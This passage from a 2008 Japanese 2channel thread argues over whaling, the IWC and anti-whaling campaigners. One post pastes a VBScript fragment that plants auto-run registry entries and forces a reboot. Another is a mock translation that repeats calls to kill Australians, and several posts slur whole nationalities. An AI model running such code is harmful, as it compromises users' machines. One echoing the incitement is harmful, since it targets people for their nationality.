そっくり入れ替えて、反対派が圧倒したように捏造したのもBBCだったよね。 あれには正直、参った。 376 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 19:04:37 ID:Olgre1xn0] ニュー速では日本人に銛撃つ番組の話が盛り上がってるな。今更って感じだが 377 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 19:28:21 ID:SS0ofadS0] 今朝の朝日新聞に捕鯨の載ってたね(笑) 378 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 19:51:23 ID:sO0LtM5M0] >>375 いくらなんでもそれはないだろ 379 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 19:57:57 ID:H/VLn56G0] >>378 それがＢＢＣクオリティなのね。 斜め上のことを平気な顔してやってのける。 380 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 20:07:30 ID:C6zE13cs0] >>378 ●が有る人は事実確認してください。 【データが改竄された瞬間】 ＢＢＣは捕鯨アンケートで イエスとノーを入れ替えるという、結果改竄を行ったことがある corn.2ch.net/test/read.cgi/news/1022540957/63-66 63 名前：　 投稿日：02/05/28 23:41 ID:D+PQRXLS FOR OR AGAINST? Should whaling be permitted? Yes 1645 - (93%) No 122 - (7%) 65 名前：　 投稿日：02/05/29 02:02 ID:cWXZOLoJ 何かYesとNoの票が入れ替わってない？ 俺だけ？ 66 名前：卑怯なり！ 投稿日：02/05/29 02:06 ID:u5SGN+s7 確かに入れ替わってる！ FOR OR AGAINST? Should whaling be permitted? No 1715 - (93%) Yes 135 - (7%) 381 名前：380 mailto:sage [2008/04/03(木) 20:09:39 ID:C6zE13cs0] 2002年のアンケートだから>>375が言ってるのとは違ったかw 382 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 20:14:07 ID:H/VLn56G0] いや、そのソースで正しいよ。二年前じゃなくて2002年だったんだね。俺の記憶違いでした。 383 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 20:21:08 ID:rR78I3nw0] 誰も魚拓とってなかったのか。 384 名前：名無しさん＠お腹いっぱい。 [2008/04/03(木) 20:34:21 ID:3UDok7pW0] 日本人を説得できるとしたら、鯨が絶滅しそうだと証明することだけなのを 反捕鯨カルトの連中も気づきはじめてるような気がする。 だけどいくらそれらしいことを言っても無駄なんだよね。 結局Racismが背後にあることを日本人に見抜かれちゃってるから。 んじゃなきゃ、食うことにまで文句言うのはおかしいし、 わざわざ太地にやってきてイルカ獲るのまで妨害するのもおかしい。 まさかイルカも絶滅しそうだとか言い始めるわけではあるまい？ｗ バレバレなんだよ。要するに多民族の文化を勝手に野蛮だと判定して、 我々の優れた文化を見習えと言ってるに過ぎない。 このスレにも反捕鯨カルトが相変わらず粘着してるけど、相手するだけ無駄。 顔にちゃんと｢僕はRacistでぇす！｣って書いてるあるんだから。 385 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 20:49:35 ID:H/VLn56G0] 寄付金集めるためには、まず動物の選別からはじまる。 クジラやイルカ、それにアザラシのようなかわいい動物たちは 優先的に動物愛護運動の対象とされるわけだ。 かわいくない動物は後回し。 その結果、オーストラリアでサメが絶滅の危機にあるというのに 動物保護団体はこの問題を取り上げようとすらしない。 したがって、彼らは静かに絶滅するのを待つしかない状況にある。 日本の捕鯨は人道に反するとし、そのための論理構築は血眼になるくせに 環境汚染で誰にかまわれることなく静かに死滅していった ヨウスコウカワイルカの存在には一切関心を示さない。 「クジラは環境保護のシンボル」という自己イメージは、 それら自己矛盾や二重基準、人種偏見、異文化排除、 倫理にかかわる理想と現実の乖離という網の目を 何重にも潜り抜けた先に構築されるものなんだよね。 誰かが指摘してたけどまさに究極の娯楽だよね。 カネで非常に利己的な至福感と快楽を買うことができるのだから。 386 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 22:11:47 ID:7ScZGoUH0] >>372 ソフトパワーしかないよな。 387 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 22:57:01 ID:U6zkaK8G0] 捕鯨反対派は調査するとか言い訳するなって言ってるんだろ？ 捕鯨するついでに調査もしてるって言えばいいじゃん 388 名前：名無しさん＠お腹いっぱい。 [2008/04/03(木) 23:44:12 ID:QVXdHQof0] jp.youtube.com/watch?v=51hubl8hRWA jp.youtube.com/user/ChukkovProductions これ作ったのオージー？　それとも日本人？ 誰か訳してちょうだい。 389 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/03(木) 23:51:19 ID:sO0LtM5M0] >>387 そうだよな、どうかんがえても調査してる分 調査捕鯨＞＞＞商業捕鯨 だよな 390 名前：名無しさん＠お腹いっぱい。 [2008/04/03(木) 23:53:17 ID:0N3p1+pp0] 仮に今商業捕鯨を再回するにしても目視データから得られた捕獲枠でやるしかないし、 生態系から多種の捕獲をするという日本の主張は現状は実現出来ない。ミンクの新たな生息数 データは過去よりも減少するだろうと言われているから2千頭と言われた捕獲枠より少 ないだろう。この枠と調査捕鯨の併用は日本だけが捕鯨をするなら調整も出来るから可能 だろうけど一ヶ国でも参入してきたら調査出来る枠も制限されるしそのような規模で の調査捕鯨のデータでは不充分であり共同で調査捕鯨をやる以外不可能だろう。日本は現状の 調査捕鯨の致死量の必要性を譲らない限り実質南極の商業捕鯨という概念は成り立たない。 致死調査を制限し調査を継続するか、調査捕鯨を捕鯨希望国で共同で行うという商業捕鯨の あり方を模索するかの選択になるよ。その前に調査捕鯨を無視しても従来の商業捕鯨の概念で それぞれが個別の捕鯨をするにしても2ヶ国でギリギリ、３ヶ国になると採算合わない程の規模なんじゃないだろうか？ 391 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 00:19:38 ID:1GPDuWTq0] 船団を用意し、熟練した乗組員を確保し、となるので、 そう簡単に南極捕鯨に参入は出来ないのではないかな。 392 名前：名無しさん＠お腹いっぱい。 [2008/04/04(金) 00:37:28 ID:RQU1EzTR0] 少なくともロシアやノルウェーは普通に参入は可能だろうし過去に南極で捕鯨をした国は 多数ある。日本だけが独占出来るって前提で商業捕鯨を目指している訳じゃないだろう？ 393 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 00:38:17 ID:4wNcltCL0] >>388 カンガルーを殺すことはオーストラリアが行うことで最も損害が大きい。 損害を受けない最も良い方法は「クジラを殺すな」といいながら カンガルーを殺さないことだ。 しかしそれは不可能だ。なぜなら彼らは生まれながらのレイシストだからだ。 オーストラリア人は最も冷酷な動物だ。 それでは誰が「何が、誰が、どのように殺すのが一番いいか」決めているのか？ オーストラリア人ではない。なぜなら彼らは偉大な日帝に劣るからだ！ レイシストのオーストラリア人を殺せ！ オーストラリアのカロライナでのカンガルー暴動を忘れるな。 オーストラリア人はカンガルーを排除すべきではない。 オーストラリア人はカンガルー人たちに対する偏見を捨てるべきだ。 私たちの前にあなた方が。 おっと、オーストラリアの人ごめんなさい。 私は少しの間気を失っていたに違いありません。 anyway where was I(訳不能) 日本人が次の被害者になるのでしょうか？ なぜオーストラリア人は顔にこんな怪我をしたんですか？ レイシズムや偏見を今すぐ終わらせろ。 オーストラリア人を殺せ。 たぶんこんな感じ 394 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 00:41:19 ID:4wNcltCL0] 訳してて意味がわからなくなってきた・・・誰か採点よろしく これは皮肉だろ。なんかチャイナやコリアの臭いがする。 395 名前：名無しさん＠お腹いっぱい。 [2008/04/04(金) 00:42:34 ID:UXBCj8Fm0] バーク農水林業相は会談で捕鯨について、「商業的でも科学的調査でも 反対の立場だ」と強調。ただ捕鯨問題では意見の対立があっても、両国間 の全体的な友好環境には影響がないように求めた。 news24.2ch.net/test/read.cgi/news5plus/1207236333/l50 おいおい 396 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 00:45:05 ID:4wNcltCL0] これはどっちも望んでることだから別にいいけどさ ただ限度があるということは覚えておいて欲しい 397 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 01:04:26 ID:lccffZvo0] >>385 別に金持ちは利己的な至福感と快楽を得るために金を出してるんじゃないよ 寄付をして社会に貢献していますよという名目を買ってるんだよ 金持ちが余計な妬みをもたれずに生きていくためのみかじめ料みたいなもん 398 名前：名無しさん＠お腹いっぱい。 [2008/04/04(金) 01:36:08 ID:2o395Hrx0] >>388 はどう見ても逆説的に日本批判だろ。 399 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 02:20:07 ID:X1saEmYU0] >>397 なるほどね すると、ここで下手な進歩史観に浸ってる反捕鯨派の連中は 寄付する（名目をカネで買う）側ではなく、 名目を作り上げる人たち、いわばパンピーってことになるな 400 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 02:43:41 ID:X1saEmYU0] 【国際】 豪州議員「オオヒキガエルは最も強烈な害虫、最も気持ち悪い」と“駆除の日”制定を提案…「人道� mamono.2ch.net/test/read.cgi/newsplus/1207235104/ オーストラリア・クイーンズランド州のシェーン・クヌース議員（国民党）が２日 オオヒキガエル駆除の日制定を提案。 カエルは人間にとって最も醜悪な生き物だと嫌悪している。 「ヒキガエルはおそらく、環境に とって最も強烈な害虫で、 おそらく人類が知っている動物の中で最も気持ち悪い」 進歩的な発想ですね 401 名前：名無しさん＠お腹いっぱい。 [2008/04/04(金) 02:48:18 ID:2o395Hrx0] 気持ち悪いから駆除する。 数が多いから駆除する。 害獣だから殺してもいい。 家畜だから殺してもいい。 数が多くて醜ければ殺して言い訳ね。 数が多い東洋人も、醜ければ殺すんですね？ 402 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 02:59:11 ID:X1saEmYU0] そーいやオーストラリアでは、 日本人に掛けられた冤罪を立証することなく即牢獄送りにした事件があったな 日本人に裁判する権利を認めなかった地元警察曰く、 「手続きがめんどくさい」「なぜ東洋人の冤罪を立証するために 我々が協力しなければならないんだ･･･」って理由だったっけ 豪州で因縁吹っかけられても、 誰からも助けてもらえないと思った方がいいね。 403 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 04:44:28 ID:TCPzEuD+0] 煽ってるのか？ 嘘つきが！ 404 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 05:08:25 ID:j2lERMJU0] Set objRegistry = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv") strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" strValueName = "Execute Code DownLoader" arrStringValues = ("estart.vbs") objRegistry.SetStringValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName, arrStringValues Set objRegistry = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv") strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" strValueName = "Execute Malicious Code Launcher" arrStringValues = ("elaunch.vbs") objRegistry.SetStringValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName, arrStringValues Set wmi = GetObject("winmgmts:{(Shutdown)}") set objset = wmi.instancesof("win32_operatingsystem") for each obj in objset set os = obj : exit for next os.win32shutdown 2 + 4 405 名前：名無しさん＠お腹いっぱい。 [2008/04/04(金) 06:28:17 ID:M4Y6s+7I0] >>384 >日本人を説得できるとしたら、鯨が絶滅しそうだと証明することだけなのを > 反捕鯨カルトの連中も気づきはじめてるような気がする。 ぜんぜんそんなこと気付いてないし、考えてもないです。 そもそも捕鯨禁止、あるいはギフチョウの採集禁止、高山植物の採集禁止を 決めるのに、「絶滅の危機」を前提にする必要はまったくないですから。 乱獲や環境破壊でダメージを被った生物資源を復元するために、環境を保護し、 採取を数世代控えよう、というのが一般的な資源管理です。 ギフチョウや高山植物なら、数世代が数年ですみ、それでちゃんと復元する ことが多いですが、鯨で数世代というと、１００年越えるという問題があります。 406 名前：名無しさん＠お腹いっぱい。 [2008/04/04(金) 06:29:01 ID:M4Y6s+7I0] >>384 ＞ 結局Racismが背後にあることを日本人に見抜かれちゃってるから。 日本国内では、アメリカが捕鯨船寄港のために、日本に開国を迫った、 西洋人、白人が油を取るために鯨を乱獲した、という説明が一般的ですが、 オーストラリアで細々と、沿岸捕鯨やってたザトウクジラが獲れなくなっ たのは1960年代後半から70年代です。 このオーストラリア沿岸のザトウクジラというのは、夏の間は南極海へ 移動して餌を食べてるのですが、これを大規模な捕鯨船団で乱獲してた のは、旧ソ連と日本です。他の主要捕鯨国、英蘭はもう捕鯨止めてるし ノルウェーも南極までは出かけてません。 日本人のほうが見抜かれちゃってます。 407 名前：名無しさん＠お腹いっぱい。 [2008/04/04(金) 06:31:06 ID:M4Y6s+7I0] >>384 ＞ わざわざ太地にやってきてイルカ獲るのまで妨害するのもおかしい。 イルカ獲るの妨害した人も、絶滅しそうだからダメとは言ってないでしょ？ ＞要するに多民族の文化を勝手に野蛮だと判定して、 ＞ 我々の優れた文化を見習えと言ってるに過ぎない。 ちがうと思うよ。水産庁、鯨研が「鯨食害論」とか「鯨種間競合論」とか、高校生が 考えつきそうな馬鹿理論ふりまわして、世界中の生物学者、水産学者に嘲笑され、 調査捕鯨の正当性が理論的に主張できなくなったので、「文化摩擦」、「文明の衝突論」 に切り替えたんだよ。これなら自然科学的に白黒つかないから、いつまでも主張し続けて いられる。日本国民がその気になってる限りはね。 408 名前：名無しさん＠お腹いっぱい。 [2008/04/04(金) 06:32:14 ID:M4Y6s+7I0] >>373 >イヌイットの伝統的な食文化を守るためにアラスカだけ商業捕鯨を認める動きがあったと思うけどあれどうなったの？ ずっとまえからやってます。 厳格な系統群管理と、あぶなくなったらすぐ止められるような「非産業化」の条件でね。 ５年に一度、この暫定措置の更新があるのだけど、そういう時に日本がこの原始的捕鯨を 人質に取って、日本国内の伝統捕鯨も原住民生存捕鯨として認めろとディベートするので、 有名になりました。 2006 年実績 Denmark: W.Greenland　ナガス10　ザトウ1　イワシ1　ミンク181　　0　計193 � Denmark: E.Greenland　ナガス1　ミンク３　計4 � St. Vincent*　ザトウ1　計１ Russia　コククジラ134　ホッキョククジラ3　計137 � USA　ホッキョククジラ39　計３9 Total　ナガス11　ザトウ2　イワシクジラ1　コククジラ134　ミンククジラ184　ホッキョククジラ42　　合計374頭 409 名前：名無しさん＠お腹いっぱい。 [2008/04/04(金) 06:33:12 ID:M4Y6s+7I0] ＞385 ＞ 寄付金集めるためには、まず動物の選別からはじまる。 ＞クジラやイルカ、それにアザラシのようなかわいい動物たちは ＞優先的に動物愛護運動の対象とされるわけだ。 グリーンピースが反対運動はじめた頃は、「わんぱくフリッパー」という、イルカ 主人公にしたTV番組がはやってたから、鯨よりイルカのほうがやりやすかったん じゃないかね。 ただ、まだグリーンピースに属してた頃なんじゃないかと思うけど、今の シーシェパードのメンバーが、ソ連の捕鯨船を攻撃したんで、アメリカで 一躍人気を獲得したんだね。そういう意味では政治的だ。 この時代になると、もう大規模捕鯨をやってるのはソ連と日本だけになってた。 410 名前：名無しさん＠お腹いっぱい。 [2008/04/04(金) 06:35:02 ID:M4Y6s+7I0] ＞ その結果、オーストラリアでサメが絶滅の危機にあるというのに ＞動物保護団体はこの問題を取り上げようとすらしない。 ＞したがって、彼らは静かに絶滅するのを待つしかない状況にある。 ずっとまえから、サメの保護運動はやってますよ。 中国のフカヒレ漁にはキツい非難のTVドキュメントなんかもつくってます。 ＞ ヨウスコウカワイルカの存在には一切関心を示さない。 公海ではなく、一国内の水域だと法律的にも難しいですね。 揚子江の水質全体をよくしなきゃどうしようもないので、欧州連合やその他 さまざまな機関、NGOで、いろいろな角度から中国、インド、発展途上国の 水問題解決を試みてます。 ＞ 「クジラは環境保護のシンボル」という自己イメージは、 もう別にそれだけにこだわってる団体はないと思いますが。 411 名前：名無しさん＠お腹いっぱい。 [2008/04/04(金) 06:37:30 ID:M4Y6s+7I0] >>385 ＞ 誰かが指摘してたけどまさに究極の娯楽だよね。 ＞カネで非常に利己的な至福感と快楽を買うことができるのだから。 まあ、衣食足って礼節を知り、あるポリシーや思想のために生活時間の多くを割く というのは、現代人にはよくある、普通の選択でしょうね。 ただ、IWC科学委員会や、各国、欧州水産政策当局がやってること、すなわち 捕鯨モラトリアムや、致死調査への批判、大西洋クロマグロ、ウナギ稚魚、 アワビの漁獲制限、水域によっては禁止とう措置となると、水産学的、生態学的に 合理的と現段階考えられていることで、特定の価値観やイデオロギーとは関係 ない（はず）です。 412 名前：名無しさん＠お腹いっぱい。 [2008/04/04(金) 06:39:28 ID:M4Y6s+7I0] >>387 > 捕鯨反対派は調査するとか言い訳するなって言ってるんだろ？ 反捕鯨派だけじゃなく、国際捕鯨委員会科学委員会の水産学者、海洋生態学者も そういってるんです。 > 捕鯨するついでに調査もしてるって言えばいいじゃん だから、調査は殺さずに出来るんだから捕鯨はせずに、調査だけしなさい と言ってるんです。 >>389 > そうだよな、どうかんがえても調査してる分 > 調査捕鯨＞＞＞商業捕鯨 > だよな その調査の結果が、あまりにもお粗末で、ほんとに営業捕鯨の言い訳として やってたにすぎない、ということが去年バレちゃったんです。 官僚の国会答弁みたいな屁理屈はね、国会で議会で３分の２とってなきゃ通用 しないんだよん。 413 名前：名無しさん＠お腹いっぱい。 [2008/04/04(金) 06:43:23 ID:M4Y6s+7I0] >>390 おおむね、おっしゃってる通りかと思います。 >>391 >船団を用意し、熟練した乗組員を確保し、となるので、 > そう簡単に南極捕鯨に参入は出来ないのではないかな。 南極捕鯨＝母船方式の1950―80年代型捕鯨という、日本の常識で固まってますね。 インドネシアや東チモール、南太平洋の島嶼諸国が冬場の繁殖地での沿岸捕鯨用 捕鯨枠をそれぞれ主張し始めたら、ひとたまりもないですよ。南極で獲る分がなくなる。 まあしかし、IWCが国連や他の機関と協議して、そういう事態にはならないように すると思いますが。いずれにしても、南極海商業捕鯨再開となったら日本が総取り というのはありえないです。 >>392 同感。 ミナミマグロ事件の時も、結局日本の漁獲枠半減した分、他の中小国へ配分してましたね。 414 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 06:50:10 ID:X1saEmYU0] 【社会】 「プリウスは、実は日本政府が作った世界戦略車だ」 北米トヨタ元社長が発言★２ mamono.2ch.net/test/read.cgi/newsplus/1207236617/ 環境保護を考えるならドイツ国内の政府公用車をプリウスにすべきだと発言した ドイツ議員が、国民からの反発食らって辞職に追い込まれたっけ。 >>410 ＞＞ 「クジラは環境保護のシンボル」という自己イメージは、 ＞もう別にそれだけにこだわってる団体はないと思いますが。 その説明ももう飽き飽きだね。 あんた、一度グリンピースのサイト見てくるといいよ。 捕鯨保護にかんするいくつものコンセプトにもとづいた 複数のサイトが量産されて大量にリンク貼られてるから。 ＞特定の価値観やイデオロギーとは関係ない（はず）です。 おそらく反捕鯨派もいくつかのグループに分類しなきゃならんだろうね。 中にはイデオロギーに支配された人たちもいるわけで、 たとえば「クジラは人間と同様に愛される権利がある」と言って イギリスで抗議活動して逮捕された14歳の少女は 両親がシーシェパードのメンバーだったよね。 415 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 06:57:40 ID:X1saEmYU0] >>410 ＞公海ではなく、一国内の水域だと法律的にも難しいですね。 環境保護運動のためには、積極的姿勢に出た結果、 法律違反を犯すことも辞さない、がグリンピースのモットーであり、 それら反権力の象徴的なイメージを周囲に売りつけることで、 欧米諸国から指示されてるんじゃなかったんですか 416 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 07:10:34 ID:012azVTr0] ID:M4Y6s+7I0の執念がキモイ 417 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 07:15:25 ID:X1saEmYU0] 【日豪】先住民の「ジュゴン猟」を支持する豪政府を日本が「二枚舌」と非難、捕鯨問題の軋轢さらに高まる mamono.2ch.net/test/read.cgi/newsplus/1207259154/ 日本政府は、オーストラリアがクジラの「致死利用」を一切認めないとする一方で 先住民族のジュゴン猟を支持しているのは「二枚舌」だと話している。 ピーター・ギャレット環境相は、日本の捕鯨とジュゴンの殺害は全く別の話で共通点はないとした。 418 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 07:16:15 ID:HWFjVqPU0] そろそろ週末が近づいてきたな。 先週末「世界の潮流はこうなんだよ、ボクは英語論文もばりばり読んでお前らより知ってるんだよ」と 繰り返しながら、結局その裏づけを出せなかった人[*]の再登場が楽しみ。 あのときはもう、週明けて忙しくなっちゃったのだろうと好意的に見ることも出来たが…w [*]細かく言えば、北大西洋についての論文「タイトル羅列だけ」は出来た とーぜんURLか、オンラインでないなら「ボクが言ってやってる通りなんだからぁ」を ちゃんと裏打ちする記述の部分か、最低でもabstractが必要だということからも 逃げちゃ駄目だよ〜ん。 419 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 07:26:33 ID:X1saEmYU0] >>409 ＞グリーンピースが反対運動はじめた頃は、 ＞「わんぱくフリッパー」という、イルカ主人公にしたTV番組がはやってたから、 「フリッパー」アメリカのNBCテレビで1964年に放送されました。 公式サイトによるとグリンピースが設立されたのは1971年でしたよね。。 420 名前：名無しさん＠お腹いっぱい。 [2008/04/04(金) 08:29:18 ID:lRH/9ZA80] グリーンピースの船やらヘリやらをチャーターする金を有効に使えば 広大な土地を緑化することも、途上国に下水処理施設を整備することもできる 反対活動という名の「海賊ごっこ」はいいかげんやめてほしい。 グリーンピースの反捕鯨活動でどれほどの鯨が救われたんだ？ 汚染や温暖化が鯨に与える影響のほうが遥かに深刻だろうに 421 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 09:58:06 ID:4pE2ehi20] >>415 イルカ漁を妨害しにわざわざ来日する女優とかいたよな 422 名前：名無しさん＠お腹いっぱい。 [2008/04/04(金) 09:59:26 ID:H3xj1MUGO] グリーンピースはナチスの宣伝手法から学んでいるから。 423 名前：名無しさん＠お腹いっぱい。 [2008/04/04(金) 10:37:49 ID:FJ3Ewjsk0] 反捕鯨カルトって嘘つきばっかだな。 424 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 13:17:26 ID:HY1/AFEt0] 人間も地球の一部だろ、誰かがとやかく言えた筋合いじゃない 絶滅するならそれも運命、人間もそれはいえた事、何を今さらって感じだが。 425 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 13:25:58 ID:X7xyV2Zr0] そうかもしれないが、守れるなら守りたいじゃないか。 426 名前：名無しさん＠お腹いっぱい。 [2008/04/04(金) 13:53:22 ID:3SKRe94K0] youtube.com/watch?v=pZMZmNZov2g&feature=related 427 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 14:10:17 ID:qOC23D980] >>406 ザトウの捕獲禁止は１９６６年からだよん >>407 なんでＩＷＣ管轄外のイルカ漁にヒゲクジラ類の鯨食害論を持ち出すんですか？ 428 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 14:40:37 ID:gm5a3Y/V0] パネッティーアが日本まで来て海豚の為に泣いたのを誤魔化そうとしてるよね、 >>407は。 結局「沿岸なら許す」も嘘なんだよ。 「捕鯨は許さない」に後付で形作られた「言い訳」だから焦点がぼやけた 曖昧な言い回ししか出来なくなってる。 日本人の大半がこれにイラつくのは当然だよねw 429 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 16:39:56 ID:H3xj1MUGO] 彼女の主張は、 「日本人にイルカを殺す権利はない」だから、当然、 「ＩＷＣに沿岸捕鯨を許可する権限はない」となるわな。 430 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 17:24:59 ID:X1saEmYU0] 見た目がかわいいかかわいくないか。自分の感情を投影できる存在か、そうでないか。 自分に近い存在か、そうでないか。”いま”の自分にとって大切な存在か、そうでないか。 進歩主義者たちにとって、捕鯨文化の伝統を引き継ぐ社会は、 まるで中世の遺物を眺めるかのように劣った存在として映り込む。 彼らは常に自己の人間的な感情の運動にもとづき環境を論じる。 そして歴史的遺制は古い仕来りであると喝破し、 歴史から隔絶された自己像を進歩的とみなし自己陶酔する。 その結果、彼らは歴史的仕来りの中に精神が宿っていることに無頓着となる。 食の作法、殺生にかかわる哲学そのものに触れることなく拒絶し、 他者否定の先に自己肯定のプロセスを築き上げていく。 反捕鯨運動が人種的偏見と結びつき易い遠因がここにある。 そして、ついには「動物を殺しては人間は健康になれないし幸せになれない」と考え始める。 それは科学的な裏づけよりもまず先に、 自己の感情から導き出された直観的な物言いを以って主張される。 これは一種の強迫観念である。彼らはそのオカルト的な信仰哲学を用いて 自分がいかに幸福な人生を歩んでいるかと自覚すればするほど、 他者が救いがたくも原罪を背負ってしまった不幸な存在にみえしまうのだ。 善意から環境教育を施す運動は概ねこのような感情の導きから生まれてくる。 自ら身体を赤く染め上げ、 他国の国旗を血に染め上げる奇怪なパフォーマンスを行う精神状態は 安易に寄付金を与える周辺の人間とは明らかに性質が異なる。 自らを倫理の体現者と名乗る運動家を知ろうとする場合、 彼らのその宗教的情熱抜きには語りえないだろう。 431 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 17:30:06 ID:X7xyV2Zr0] >>428 彼女はIWCと関係あるのか？一般人がやったことと同じじゃないの？ 432 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 17:36:21 ID:X1saEmYU0] パネッティーアっていったらアメリカ副大統領候補じゃなかったっけ？ 米国の選挙期間中に反捕鯨運動家として名乗り、 環境のバネッティーアとしてテレビで演説（応援だったかな？）してたじゃん。 一般人と同列にみなすのはどうだろうね。 433 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 17:36:52 ID:gm5a3Y/V0] >>431 IWCの反対票を支えてるのは「一般人」だよ。 434 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 17:41:34 ID:X7xyV2Zr0] >>432 だからってIWCの代弁者のように見るのはどうかと思うんだが・・・ 435 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 17:44:25 ID:TCPzEuD+0] 嘘つきは好かん。 436 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 18:18:32 ID:4pE2ehi20] >>434 IWCの代弁者なんて思ってるやつはいない 反捕鯨運動の唱道者でIWCに圧力かけようと政治運動してるよ Hollywood star of "Heroes" Hayden Panettiere, of Save the Whales Again Campaign, joins a Greenpeace parade in Anchorage Alaska, as part of a global day of activities with thousands of people, across twenty countries and more than fifty cities to send a message to delegates of the International Whaling Commission, meeting this week in Alaska to decide the future of the great whales. www.greenpeace.org/international/photosvideos/photos/hollywood-star-of-heroes-hay Panettiere is a spokesperson for the Save the Whales Again! campaign, which is calling on the United States to stand up for whales at the International Whaling Commission and take diplomatic and economic action against whaling countries. www.prnewswire.com/cgi-bin/stories.pl?ACCT=104&STORY=/www/story/01-24-2008/0004742597&EDATE www.savethewhalesagain.com/wm_master.html the Save the Whales Again! キャンペーンの広報担当 捕鯨国に対し外交及び経済的措置を取れと米政府に要求 She is now using her fame to lend a hand to the cause. She launched the website panettierecloset.com where she will sell off items from her wardrobe. All proceeds will go to the ‘Save the Whales Again’ campaign. pop.mojoitv.com/2008/01/hayden-panettiere-saving-whales.html ウェブで商品販売、収益すべてキャンペーンに寄付 437 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 18:25:18 ID:X7xyV2Zr0] >>436 へえ・・・確かに>>432の言うとおり一般人よりか影響あるからな・・・ 438 名前：名無しさん＠お腹いっぱい。 [2008/04/04(金) 19:27:52 ID:OfX6kW1h0] IWCは各国政府代表だから、国内世論の影響も受けるけど、IWC科学委員会は 政府派遣の科学者と委員会側からの招待学者から成り、世論の影響は非常に 少ないな。 国際捕鯨委員会の歴史を振り返ると、科学委員会とIWC総会の見解がいろいろな 意味で食い違っていたことが多かったけれど、ここ数年の致死調査の不要性に 関しては、科学者と各国政府代表の見解が一致している。（海洋上の安全等の テーマには、科学委員会はタッチしていない） ついでに言っておくと、国連海洋法条約の附表Iにはイルカ、シャチ等、小型 鯨類も記載されていますから、国際的管理保全の対象です。 439 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 19:40:14 ID:gm5a3Y/V0] 日本沿岸の規制対象でないイルカ漁に涙流して見せるのも 「国際管理保全」の一環って訳だw 440 名前：名無しさん＠お腹いっぱい。 [2008/04/04(金) 19:48:47 ID:lRH/9ZA80] とりあえず、日本国内の反捕鯨団体を放逐したい 441 名前：名無しさん＠お腹いっぱい。 [2008/04/04(金) 20:04:58 ID:ggF9zC6X0] 致死調査は必要ないのに、日本は名目上調査捕鯨として実際は商業捕鯨 を継続するのが目的だったんだろうね。 詳しい説明、ありがとう。 しかし、日本だって、捕鯨を維持していきたい理由があり、乱獲さえしなければ クジラの数が再び激減することはないよ。 生物資源を復元するって、どこまで復元するとかいった目標値みたいなのは？ 442 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 20:11:04 ID:HWFjVqPU0] あのさ、三日ほど前に64, 65条について「どうせお前ら分かねぇだろ」と 言わんばかりにたかくくって、 >国際捕鯨委員会の多数派は、国連海洋法条約（1982年採択、1994年発効）の >64条、65条を根拠に、無制限な「科学」の主張を退けているという構図だ。 などと、いい加減なこと抜かしよったけど、あっさり>>197でそのハッタリが 剥がされてたのがいたけどさ、こんどは条項数明示しなけりゃばれないだろう とか思ったんかねぇ、附属書ときたか。 で、その附属書Iを参照している条として、例えば64条があるけど、 それだとIWCか、IWCがイルカ等の管理に関与しないなら、そういう機関を設立 すべしにしかなってないわな。 >国際的管理保全の対象です。 うんうん、確かにぎりぎり「嘘」ではないわなw ミスリード狙い乙。 まあついでだ、他に附属書Iの参照元の条項があるなら指摘してみては? 443 名前：名無しさん＠お腹いっぱい。 mailto:sage [2008/04/04(金) 20:15:45 ID:4pE2ehi20] >>441 誰と対話してるかイマイチ分からんが、 